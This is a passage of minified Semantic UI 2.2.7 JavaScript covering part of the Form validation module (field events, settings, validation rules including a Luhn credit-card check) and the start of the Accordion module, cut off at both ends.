keyCode.escape) { module.verbose('Escape key pressed blurring field'); $field .blur() ; } if(!event.ctrlKey && key == keyCode.enter && isInput && !isInDropdown && !isCheckbox) { if(!keyHeldDown) { $field .one('keyup' + eventNamespace, module.event.field.keyup) ; module.submit(); module.debug('Enter pressed on input submitting form'); } keyHeldDown = true; } }, keyup: function() { keyHeldDown = false; }, blur: function(event) { var $field = $(this), $fieldGroup = $field.closest($group), validationRules = module.get.validation($field) ; if( $fieldGroup.hasClass(className.error) ) { module.debug('Revalidating field', $field, validationRules); if(validationRules) { module.validate.field( validationRules ); } } else if(settings.on == 'blur' || settings.on == 'change') { if(validationRules) { module.validate.field( validationRules ); } } }, change: function(event) { var $field = $(this), $fieldGroup = $field.closest($group), validationRules = module.get.validation($field) ; if(settings.on == 'change' || ( $fieldGroup.hasClass(className.error) && settings.revalidate) ) { clearTimeout(module.timer); module.timer = setTimeout(function() { module.debug('Revalidating field', $field, module.get.validation($field)); module.validate.field( validationRules ); }, settings.delay); } } } }, get: { ancillaryValue: function(rule) { if(!rule.type || (!rule.value && !module.is.bracketedRule(rule))) { return false; } return (rule.value !== undefined) ? rule.value : rule.type.match(settings.regExp.bracket)[1] + '' ; }, ruleName: function(rule) { if( module.is.bracketedRule(rule) ) { return rule.type.replace(rule.type.match(settings.regExp.bracket)[0], ''); } return rule.type; }, changeEvent: function(type, $input) { if(type == 'checkbox' || type == 'radio' || type == 'hidden' || $input.is('select')) { return 'change'; } else { return module.get.inputEvent(); } }, inputEvent: function() { return (document.createElement('input').oninput !== undefined) ? 'input' : (document.createElement('input').onpropertychange !== undefined) ? 'propertychange' : 'keyup' ; }, prompt: function(rule, field) { var ruleName = module.get.ruleName(rule), ancillary = module.get.ancillaryValue(rule), prompt = rule.prompt || settings.prompt[ruleName] || settings.text.unspecifiedRule, requiresValue = (prompt.search('{value}') !== -1), requiresName = (prompt.search('{name}') !== -1), $label, $field, name ; if(requiresName || requiresValue) { $field = module.get.field(field.identifier); } if(requiresValue) { prompt = prompt.replace('{value}', $field.val()); } if(requiresName) { $label = $field.closest(selector.group).find('label').eq(0); name = ($label.length == 1) ? $label.text() : $field.prop('placeholder') || settings.text.unspecifiedField ; prompt = prompt.replace('{name}', name); } prompt = prompt.replace('{identifier}', field.identifier); prompt = prompt.replace('{ruleValue}', ancillary); if(!rule.prompt) { module.verbose('Using default validation prompt for type', prompt, ruleName); } return prompt; }, settings: function() { if($.isPlainObject(parameters)) { var keys = Object.keys(parameters), isLegacySettings = (keys.length > 0) ? (parameters[keys[0]].identifier !== undefined && parameters[keys[0]].rules !== undefined) : false, ruleKeys ; if(isLegacySettings) { // 1.x (ducktyped) settings = $.extend(true, {}, $.fn.form.settings, legacyParameters); validation = $.extend({}, $.fn.form.settings.defaults, parameters); module.error(settings.error.oldSyntax, element); module.verbose('Extending settings from legacy parameters', validation, settings); } else { // 2.x if(parameters.fields) { ruleKeys = Object.keys(parameters.fields); if( typeof parameters.fields[ruleKeys[0]] == 'string' || $.isArray(parameters.fields[ruleKeys[0]]) ) { $.each(parameters.fields, function(name, rules) { if(typeof rules == 'string') { rules = [rules]; } parameters.fields[name] = { rules: [] }; $.each(rules, function(index, rule) { parameters.fields[name].rules.push({ type: rule }); }); }); } } settings = $.extend(true, {}, $.fn.form.settings, parameters); validation = $.extend({}, $.fn.form.settings.defaults, settings.fields); module.verbose('Extending settings', validation, settings); } } else { settings = $.fn.form.settings; validation = $.fn.form.settings.defaults; module.verbose('Using default form validation', validation, settings); } // shorthand namespace = settings.namespace; metadata = settings.metadata; selector = settings.selector; className = settings.className; error = settings.error; moduleNamespace = 'module-' + namespace; eventNamespace = '.' + namespace; // grab instance instance = $module.data(moduleNamespace); // refresh selector cache module.refresh(); }, field: function(identifier) { module.verbose('Finding field with identifier', identifier); if( $field.filter('#' + identifier).length > 0 ) { return $field.filter('#' + identifier); } else if( $field.filter('[name="' + identifier +'"]').length > 0 ) { return $field.filter('[name="' + identifier +'"]'); } else if( $field.filter('[name="' + identifier +'[]"]').length > 0 ) { return $field.filter('[name="' + identifier +'[]"]'); } else if( $field.filter('[data-' + metadata.validate + '="'+ identifier +'"]').length > 0 ) { return $field.filter('[data-' + metadata.validate + '="'+ identifier +'"]'); } return $('<input/>'); }, fields: function(fields) { var $fields = $() ; $.each(fields, function(index, name) { $fields = $fields.add( module.get.field(name) ); }); return $fields; }, validation: function($field) { var fieldValidation, identifier ; if(!validation) { return false; } $.each(validation, function(fieldName, field) { identifier = field.identifier || fieldName; if( module.get.field(identifier)[0] == $field[0] ) { field.identifier = identifier; fieldValidation = field; } }); return fieldValidation || false; }, value: function (field) { var fields = [], results ; fields.push(field); results = module.get.values.call(element, fields); return results[field]; }, values: function (fields) { var $fields = $.isArray(fields) ? module.get.fields(fields) : $field, values = {} ; $fields.each(function(index, field) { var $field = $(field), type = $field.prop('type'), name = $field.prop('name'), value = $field.val(), isCheckbox = $field.is(selector.checkbox), isRadio = $field.is(selector.radio), isMultiple = (name.indexOf('[]') !== -1), isChecked = (isCheckbox) ? $field.is(':checked') : false ; if(name) { if(isMultiple) { name = name.replace('[]', ''); if(!values[name]) { values[name] = []; } if(isCheckbox) { if(isChecked) { values[name].push(value || true); } else { values[name].push(false); } } else { values[name].push(value); } } else { if(isRadio) { if(isChecked) { values[name] = value; } } else if(isCheckbox) { if(isChecked) { values[name] = value || true; } else { values[name] = false; } } else { values[name] = value; } } } }); return values; } }, has: { field: function(identifier) { module.verbose('Checking for existence of a field with identifier', identifier); if(typeof identifier !== 'string') { module.error(error.identifier, identifier); } if( $field.filter('#' + identifier).length > 0 ) { return true; } else if( $field.filter('[name="' + identifier +'"]').length > 0 ) { return true; } else if( $field.filter('[data-' + metadata.validate + '="'+ identifier +'"]').length > 0 ) { return true; } return false; } }, add: { prompt: function(identifier, errors) { var $field = module.get.field(identifier), $fieldGroup = $field.closest($group), $prompt = $fieldGroup.children(selector.prompt), promptExists = ($prompt.length !== 0) ; errors = (typeof errors == 'string') ? [errors] : errors ; module.verbose('Adding field error state', identifier); $fieldGroup .addClass(className.error) ; if(settings.inline) { if(!promptExists) { $prompt = settings.templates.prompt(errors); $prompt .appendTo($fieldGroup) ; } $prompt .html(errors[0]) ; if(!promptExists) { if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) { module.verbose('Displaying error with css transition', settings.transition); $prompt.transition(settings.transition + ' in', settings.duration); } else { module.verbose('Displaying error with fallback javascript animation'); $prompt .fadeIn(settings.duration) ; } } else { module.verbose('Inline errors are disabled, no inline error added', identifier); } } }, errors: function(errors) { module.debug('Adding form error messages', errors); module.set.error(); $message .html( settings.templates.error(errors) ) ; } }, remove: { prompt: function(identifier) { var $field = module.get.field(identifier), $fieldGroup = $field.closest($group), $prompt = $fieldGroup.children(selector.prompt) ; $fieldGroup .removeClass(className.error) ; if(settings.inline && $prompt.is(':visible')) { module.verbose('Removing prompt for field', identifier); if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) { $prompt.transition(settings.transition + ' out', settings.duration, function() { $prompt.remove(); }); } else { $prompt .fadeOut(settings.duration, function(){ $prompt.remove(); }) ; } } } }, set: { success: function() { $module .removeClass(className.error) .addClass(className.success) ; }, defaults: function () { $field .each(function () { var $field = $(this), isCheckbox = ($field.filter(selector.checkbox).length > 0), value = (isCheckbox) ? $field.is(':checked') : $field.val() ; $field.data(metadata.defaultValue, value); }) ; }, error: function() { $module .removeClass(className.success) .addClass(className.error) ; }, value: function (field, value) { var fields = {} ; fields[field] = value; return module.set.values.call(element, fields); }, values: function (fields) { if($.isEmptyObject(fields)) { return; } $.each(fields, function(key, value) { var $field = module.get.field(key), $element = $field.parent(), isMultiple = $.isArray(value), isCheckbox = $element.is(selector.uiCheckbox), isDropdown = $element.is(selector.uiDropdown), isRadio = ($field.is(selector.radio) && isCheckbox), fieldExists = ($field.length > 0), $multipleField ; if(fieldExists) { if(isMultiple && isCheckbox) { module.verbose('Selecting multiple', value, $field); $element.checkbox('uncheck'); $.each(value, function(index, value) { $multipleField = $field.filter('[value="' + value + '"]'); $element = $multipleField.parent(); if($multipleField.length > 0) { $element.checkbox('check'); } }); } else if(isRadio) { module.verbose('Selecting radio value', value, $field); $field.filter('[value="' + value + '"]') .parent(selector.uiCheckbox) .checkbox('check') ; } else if(isCheckbox) { module.verbose('Setting checkbox value', value, $element); if(value === true) { $element.checkbox('check'); } else { $element.checkbox('uncheck'); } } else if(isDropdown) { module.verbose('Setting dropdown value', value, $element); $element.dropdown('set selected', value); } else { module.verbose('Setting field value', value, $field); $field.val(value); } } }); } }, validate: { form: function(event, ignoreCallbacks) { var values = module.get.values(), apiRequest ; // input keydown event will fire submit repeatedly by browser default if(keyHeldDown) { return false; } // reset errors formErrors = []; if( module.is.valid() ) { module.debug('Form has no validation errors, submitting'); module.set.success(); if(ignoreCallbacks !== true) { return settings.onSuccess.call(element, event, values); } } else { module.debug('Form has errors'); module.set.error(); if(!settings.inline) { module.add.errors(formErrors); } // prevent ajax submit if($module.data('moduleApi') !== undefined) { event.stopImmediatePropagation(); } if(ignoreCallbacks !== true) { return settings.onFailure.call(element, formErrors, values); } } }, // takes a validation object and returns whether field passes validation field: function(field, fieldName) { var identifier = field.identifier || fieldName, $field = module.get.field(identifier), $dependsField = (field.depends) ? module.get.field(field.depends) : false, fieldValid = true, fieldErrors = [] ; if(!field.identifier) { module.debug('Using field name as identifier', identifier); field.identifier = identifier; } if($field.prop('disabled')) { module.debug('Field is disabled. Skipping', identifier); fieldValid = true; } else if(field.optional && module.is.blank($field)){ module.debug('Field is optional and blank. Skipping', identifier); fieldValid = true; } else if(field.depends && module.is.empty($dependsField)) { module.debug('Field depends on another value that is not present or empty. Skipping', $dependsField); fieldValid = true; } else if(field.rules !== undefined) { $.each(field.rules, function(index, rule) { if( module.has.field(identifier) && !( module.validate.rule(field, rule) ) ) { module.debug('Field is invalid', identifier, rule.type); fieldErrors.push(module.get.prompt(rule, field)); fieldValid = false; } }); } if(fieldValid) { module.remove.prompt(identifier, fieldErrors); settings.onValid.call($field); } else { formErrors = formErrors.concat(fieldErrors); module.add.prompt(identifier, fieldErrors); settings.onInvalid.call($field, fieldErrors); return false; } return true; }, // takes validation rule and returns whether field passes rule rule: function(field, rule) { var $field = module.get.field(field.identifier), type = rule.type, value = $field.val(), isValid = true, ancillary = module.get.ancillaryValue(rule), ruleName = module.get.ruleName(rule), ruleFunction = settings.rules[ruleName] ; if( !$.isFunction(ruleFunction) ) { module.error(error.noRule, ruleName); return; } // cast to string avoiding encoding special values value = (value === undefined || value === '' || value === null) ? '' : $.trim(value + '') ; return ruleFunction.call($field, value, ancillary); } }, setting: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; module.initialize(); }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.form.settings = { name : 'Form', namespace : 'form', debug : false, verbose : false, performance : true, fields : false, keyboardShortcuts : true, on : 'submit', inline : false, delay : 200, revalidate : true, transition : 'scale', duration : 200, onValid : function() {}, onInvalid : function() {}, onSuccess : function() { return true; }, onFailure : function() { return false; }, metadata : { defaultValue : 'default', validate : 'validate' }, regExp: { bracket : /\[(.*)\]/i, decimal : /^\d*(\.)\d+/, email : /^[a-z0-9!#$%&'*+\/=?^_`{|}~.-]+@[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/i, escape : /[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, flags : /^\/(.*)\/(.*)?/, integer : /^\-?\d+$/, number : /^\-?\d*(\.\d+)?$/, url : /(https?:\/\/(?:www\.|(?!www))[^\s\.]+\.[^\s]{2,}|www\.[^\s]+\.[^\s]{2,})/i }, text: { unspecifiedRule : 'Please enter a valid value', unspecifiedField : 'This field' }, prompt: { empty : '{name} must have a value', checked : '{name} must be checked', email : '{name} must be a valid e-mail', url : '{name} must be a valid url', regExp : '{name} is not formatted correctly', integer : '{name} must be an integer', decimal : '{name} must be a decimal number', number : '{name} must be set to a number', is : '{name} must be "{ruleValue}"', isExactly : '{name} must be exactly "{ruleValue}"', not : '{name} cannot be set to "{ruleValue}"', notExactly : '{name} cannot be set to exactly "{ruleValue}"', contain : '{name} cannot contain "{ruleValue}"', containExactly : '{name} cannot contain exactly "{ruleValue}"', doesntContain : '{name} must contain "{ruleValue}"', doesntContainExactly : '{name} must contain exactly "{ruleValue}"', minLength : '{name} must be at least {ruleValue} characters', length : '{name} must be at least {ruleValue} characters', exactLength : '{name} must be exactly {ruleValue} characters', maxLength : '{name} cannot be longer than {ruleValue} characters', match : '{name} must match {ruleValue} field', different : '{name} must have a different value than {ruleValue} field', creditCard : '{name} must be a valid credit card number', minCount : '{name} must have at least {ruleValue} choices', exactCount : '{name} must have exactly {ruleValue} choices', maxCount : '{name} must have {ruleValue} or less choices' }, selector : { checkbox : 'input[type="checkbox"], input[type="radio"]', clear : '.clear', field : 'input, textarea, select', group : '.field', input : 'input', message : '.error.message', prompt : '.prompt.label', radio : 'input[type="radio"]', reset : '.reset:not([type="reset"])', submit : '.submit:not([type="submit"])', uiCheckbox : '.ui.checkbox', uiDropdown : '.ui.dropdown' }, className : { error : 'error', label : 'ui prompt label', pressed : 'down', success : 'success' }, error: { identifier : 'You must specify a string identifier for each field', method : 'The method you called is not defined.', noRule : 'There is no rule matching the one you specified', oldSyntax : 'Starting in 2.0 forms now only take a single settings object. Validation settings converted to new syntax automatically.' }, templates: { // template that produces error message error: function(errors) { var html = '<ul class="list">' ; $.each(errors, function(index, value) { html += '<li>' + value + '</li>'; }); html += '</ul>'; return $(html); }, // template that produces label prompt: function(errors) { return $('<div/>') .addClass('ui basic red pointing prompt label') .html(errors[0]) ; } }, rules: { // is not empty or blank string empty: function(value) { return !(value === undefined || '' === value || $.isArray(value) && value.length === 0); }, // checkbox checked checked: function() { return ($(this).filter(':checked').length > 0); }, // is most likely an email email: function(value){ return $.fn.form.settings.regExp.email.test(value); }, // value is most likely url url: function(value) { return $.fn.form.settings.regExp.url.test(value); }, // matches specified regExp regExp: function(value, regExp) { if(regExp instanceof RegExp) { return value.match(regExp); } var regExpParts = regExp.match($.fn.form.settings.regExp.flags), flags ; // regular expression specified as /baz/gi (flags) if(regExpParts) { regExp = (regExpParts.length >= 2) ? regExpParts[1] : regExp ; flags = (regExpParts.length >= 3) ? regExpParts[2] : '' ; } return value.match( new RegExp(regExp, flags) ); }, // is valid integer or matches range integer: function(value, range) { var intRegExp = $.fn.form.settings.regExp.integer, min, max, parts ; if( !range || ['', '..'].indexOf(range) !== -1) { // do nothing } else if(range.indexOf('..') == -1) { if(intRegExp.test(range)) { min = max = range - 0; } } else { parts = range.split('..', 2); if(intRegExp.test(parts[0])) { min = parts[0] - 0; } if(intRegExp.test(parts[1])) { max = parts[1] - 0; } } return ( intRegExp.test(value) && (min === undefined || value >= min) && (max === undefined || value <= max) ); }, // is valid number (with decimal) decimal: function(value) { return $.fn.form.settings.regExp.decimal.test(value); }, // is valid number number: function(value) { return $.fn.form.settings.regExp.number.test(value); }, // is value (case insensitive) is: function(value, text) { text = (typeof text == 'string') ? text.toLowerCase() : text ; value = (typeof value == 'string') ? value.toLowerCase() : value ; return (value == text); }, // is value isExactly: function(value, text) { return (value == text); }, // value is not another value (case insensitive) not: function(value, notValue) { value = (typeof value == 'string') ? value.toLowerCase() : value ; notValue = (typeof notValue == 'string') ? notValue.toLowerCase() : notValue ; return (value != notValue); }, // value is not another value (case sensitive) notExactly: function(value, notValue) { return (value != notValue); }, // value contains text (insensitive) contains: function(value, text) { // escape regex characters text = text.replace($.fn.form.settings.regExp.escape, "\\$&"); return (value.search( new RegExp(text, 'i') ) !== -1); }, // value contains text (case sensitive) containsExactly: function(value, text) { // escape regex characters text = text.replace($.fn.form.settings.regExp.escape, "\\$&"); return (value.search( new RegExp(text) ) !== -1); }, // value contains text (insensitive) doesntContain: function(value, text) { // escape regex characters text = text.replace($.fn.form.settings.regExp.escape, "\\$&"); return (value.search( new RegExp(text, 'i') ) === -1); }, // value contains text (case sensitive) doesntContainExactly: function(value, text) { // escape regex characters text = text.replace($.fn.form.settings.regExp.escape, "\\$&"); return (value.search( new RegExp(text) ) === -1); }, // is at least string length minLength: function(value, requiredLength) { return (value !== undefined) ? (value.length >= requiredLength) : false ; }, // see rls notes for 2.0.6 (this is a duplicate of minLength) length: function(value, requiredLength) { return (value !== undefined) ? (value.length >= requiredLength) : false ; }, // is exactly length exactLength: function(value, requiredLength) { return (value !== undefined) ? (value.length == requiredLength) : false ; }, // is less than length maxLength: function(value, maxLength) { return (value !== undefined) ? (value.length <= maxLength) : false ; }, // matches another field match: function(value, identifier) { var $form = $(this), matchingValue ; if( $('[data-validate="'+ identifier +'"]').length > 0 ) { matchingValue = $('[data-validate="'+ identifier +'"]').val(); } else if($('#' + identifier).length > 0) { matchingValue = $('#' + identifier).val(); } else if($('[name="' + identifier +'"]').length > 0) { matchingValue = $('[name="' + identifier + '"]').val(); } else if( $('[name="' + identifier +'[]"]').length > 0 ) { matchingValue = $('[name="' + identifier +'[]"]'); } return (matchingValue !== undefined) ? ( value.toString() == matchingValue.toString() ) : false ; }, // different than another field different: function(value, identifier) { // use either id or name of field var $form = $(this), matchingValue ; if( $('[data-validate="'+ identifier +'"]').length > 0 ) { matchingValue = $('[data-validate="'+ identifier +'"]').val(); } else if($('#' + identifier).length > 0) { matchingValue = $('#' + identifier).val(); } else if($('[name="' + identifier +'"]').length > 0) { matchingValue = $('[name="' + identifier + '"]').val(); } else if( $('[name="' + identifier +'[]"]').length > 0 ) { matchingValue = $('[name="' + identifier +'[]"]'); } return (matchingValue !== undefined) ? ( value.toString() !== matchingValue.toString() ) : false ; }, creditCard: function(cardNumber, cardTypes) { var cards = { visa: { pattern : /^4/, length : [16] }, amex: { pattern : /^3[47]/, length : [15] }, mastercard: { pattern : /^5[1-5]/, length : [16] }, discover: { pattern : /^(6011|622(12[6-9]|1[3-9][0-9]|[2-8][0-9]{2}|9[0-1][0-9]|92[0-5]|64[4-9])|65)/, length : [16] }, unionPay: { pattern : /^(62|88)/, length : [16, 17, 18, 19] }, jcb: { pattern : /^35(2[89]|[3-8][0-9])/, length : [16] }, maestro: { pattern : /^(5018|5020|5038|6304|6759|676[1-3])/, length : [12, 13, 14, 15, 16, 17, 18, 19] }, dinersClub: { pattern : /^(30[0-5]|^36)/, length : [14] }, laser: { pattern : /^(6304|670[69]|6771)/, length : [16, 17, 18, 19] }, visaElectron: { pattern : /^(4026|417500|4508|4844|491(3|7))/, length : [16] } }, valid = {}, validCard = false, requiredTypes = (typeof cardTypes == 'string') ? cardTypes.split(',') : false, unionPay, validation ; if(typeof cardNumber !== 'string' || cardNumber.length === 0) { return; } // verify card types if(requiredTypes) { $.each(requiredTypes, function(index, type){ // verify each card type validation = cards[type]; if(validation) { valid = { length : ($.inArray(cardNumber.length, validation.length) !== -1), pattern : (cardNumber.search(validation.pattern) !== -1) }; if(valid.length && valid.pattern) { validCard = true; } } }); if(!validCard) { return false; } } // skip luhn for UnionPay unionPay = { number : ($.inArray(cardNumber.length, cards.unionPay.length) !== -1), pattern : (cardNumber.search(cards.unionPay.pattern) !== -1) }; if(unionPay.number && unionPay.pattern) { return true; } // verify luhn, adapted from <path_to_url var length = cardNumber.length, multiple = 0, producedValue = [ [0, 1, 2, 3, 4, 5, 6, 7, 8, 9], [0, 2, 4, 6, 8, 1, 3, 5, 7, 9] ], sum = 0 ; while (length--) { sum += producedValue[multiple][parseInt(cardNumber.charAt(length), 10)]; multiple ^= 1; } return (sum % 10 === 0 && sum > 0); }, minCount: function(value, minCount) { if(minCount == 0) { return true; } if(minCount == 1) { return (value !== ''); } return (value.split(',').length >= minCount); }, exactCount: function(value, exactCount) { if(exactCount == 0) { return (value === ''); } if(exactCount == 1) { return (value !== '' && value.search(',') === -1); } return (value.split(',').length == exactCount); }, maxCount: function(value, maxCount) { if(maxCount == 0) { return false; } if(maxCount == 1) { return (value.search(',') === -1); } return (value.split(',').length <= maxCount); } } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Accordion * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.accordion = function(parameters) { var $allModules = $(this), time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.accordion.settings, parameters) : $.extend({}, $.fn.accordion.settings), className = settings.className, namespace = settings.namespace, selector = settings.selector, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, moduleSelector = $allModules.selector || '', $module = $(this), $title = $module.find(selector.title), $content = $module.find(selector.content), element = this, instance = $module.data(moduleNamespace), observer, module ; module = { initialize: function() { module.debug('Initializing', $module); module.bind.events(); if(settings.observeChanges) { module.observeChanges(); } module.instantiate(); }, instantiate: function() { instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.debug('Destroying previous instance', $module); $module .off(eventNamespace) .removeData(moduleNamespace) ; }, refresh: function() { $title = $module.find(selector.title); $content = $module.find(selector.content); }, observeChanges: function() { if('MutationObserver' in window) { observer = new MutationObserver(function(mutations) { module.debug('DOM tree modified, updating selector cache'); module.refresh(); }); observer.observe(element, { childList : true, subtree : true }); module.debug('Setting up mutation observer', observer); } }, bind: { events: function() { module.debug('Binding delegated events'); $module .on(settings.on + eventNamespace, selector.trigger, module.event.click) ; } }, event: { click: function() { module.toggle.call(this); } }, toggle: function(query) { var $activeTitle = (query !== undefined) ? (typeof query === 'number') ? $title.eq(query) : $(query).closest(selector.title) : $(this).closest(selector.title), $activeContent = $activeTitle.next($content), isAnimating = $activeContent.hasClass(className.animating), isActive = $activeContent.hasClass(className.active), isOpen = (isActive && !isAnimating), isOpening = (!isActive && isAnimating) ; module.debug('Toggling visibility of content', $activeTitle); if(isOpen || isOpening) { if(settings.collapsible) { module.close.call($activeTitle); } else { module.debug('Cannot close accordion content collapsing is disabled'); } } else { module.open.call($activeTitle); } }, open: function(query) { var $activeTitle = (query !== undefined) ? (typeof query === 'number') ? $title.eq(query) : $(query).closest(selector.title) : $(this).closest(selector.title), $activeContent = $activeTitle.next($content), isAnimating = $activeContent.hasClass(className.animating), isActive = $activeContent.hasClass(className.active), isOpen = (isActive || isAnimating) ; if(isOpen) { module.debug('Accordion already open, skipping', $activeContent); return; } module.debug('Opening accordion content', $activeTitle); settings.onOpening.call($activeContent); if(settings.exclusive) { module.closeOthers.call($activeTitle); } $activeTitle .addClass(className.active) ; $activeContent .stop(true, true) .addClass(className.animating) ; if(settings.animateChildren) { if($.fn.transition !== undefined && $module.transition('is supported')) { $activeContent .children() .transition({ animation : 'fade in', queue : false, useFailSafe : true, debug : settings.debug, verbose : settings.verbose, duration : settings.duration }) ; } else { $activeContent .children() .stop(true, true) .animate({ opacity: 1 }, settings.duration, module.resetOpacity) ; } } $activeContent .slideDown(settings.duration, settings.easing, function() { $activeContent .removeClass(className.animating) .addClass(className.active) ; module.reset.display.call(this); settings.onOpen.call(this); settings.onChange.call(this); }) ; }, close: function(query) { var $activeTitle = (query !== undefined) ? (typeof query === 'number') ? $title.eq(query) : $(query).closest(selector.title) : $(this).closest(selector.title), $activeContent = $activeTitle.next($content), isAnimating = $activeContent.hasClass(className.animating), isActive = $activeContent.hasClass(className.active), isOpening = (!isActive && isAnimating), isClosing = (isActive && isAnimating) ; if((isActive || isOpening) && !isClosing) { module.debug('Closing accordion content', $activeContent); settings.onClosing.call($activeContent); $activeTitle .removeClass(className.active) ; $activeContent .stop(true, true) .addClass(className.animating) ; if(settings.animateChildren) { if($.fn.transition !== undefined && $module.transition('is supported')) { $activeContent .children() .transition({ animation : 'fade out', queue : false, useFailSafe : true, debug : settings.debug, verbose : settings.verbose, duration : settings.duration }) ; } else { $activeContent .children() .stop(true, true) .animate({ opacity: 0 }, settings.duration, module.resetOpacity) ; } } $activeContent .slideUp(settings.duration, settings.easing, function() { $activeContent .removeClass(className.animating) .removeClass(className.active) ; module.reset.display.call(this); settings.onClose.call(this); settings.onChange.call(this); }) ; } }, closeOthers: function(index) { var $activeTitle = (index !== undefined) ? $title.eq(index) : $(this).closest(selector.title), $parentTitles = $activeTitle.parents(selector.content).prev(selector.title), $activeAccordion = $activeTitle.closest(selector.accordion), activeSelector = selector.title + '.' + className.active + ':visible', activeContent = selector.content + '.' + className.active + ':visible', $openTitles, $nestedTitles, $openContents ; if(settings.closeNested) { $openTitles = $activeAccordion.find(activeSelector).not($parentTitles); $openContents = $openTitles.next($content); } else { $openTitles = $activeAccordion.find(activeSelector).not($parentTitles); $nestedTitles = $activeAccordion.find(activeContent).find(activeSelector).not($parentTitles); $openTitles = $openTitles.not($nestedTitles); $openContents = $openTitles.next($content); } if( ($openTitles.length > 0) ) { module.debug('Exclusive enabled, closing other content', $openTitles); $openTitles .removeClass(className.active) ; $openContents .removeClass(className.animating) .stop(true, true) ; if(settings.animateChildren) { if($.fn.transition !== undefined && $module.transition('is supported')) { $openContents .children() .transition({ animation : 'fade out', useFailSafe : true, debug : settings.debug, verbose : settings.verbose, duration : settings.duration }) ; } else { $openContents .children() .stop(true, true) .animate({ opacity: 0 }, settings.duration, module.resetOpacity) ; } } $openContents .slideUp(settings.duration , settings.easing, function() { $(this).removeClass(className.active); module.reset.display.call(this); }) ; } }, reset: { display: function() { module.verbose('Removing inline display from element', this); $(this).css('display', ''); if( $(this).attr('style') === '') { $(this) .attr('style', '') .removeAttr('style') ; } }, opacity: function() { module.verbose('Removing inline opacity from element', this); $(this).css('opacity', ''); if( $(this).attr('style') === '') { $(this) .attr('style', '') .removeAttr('style') ; } }, }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { module.debug('Changing internal', name, value); if(value !== undefined) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else { module[name] = value; } } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = 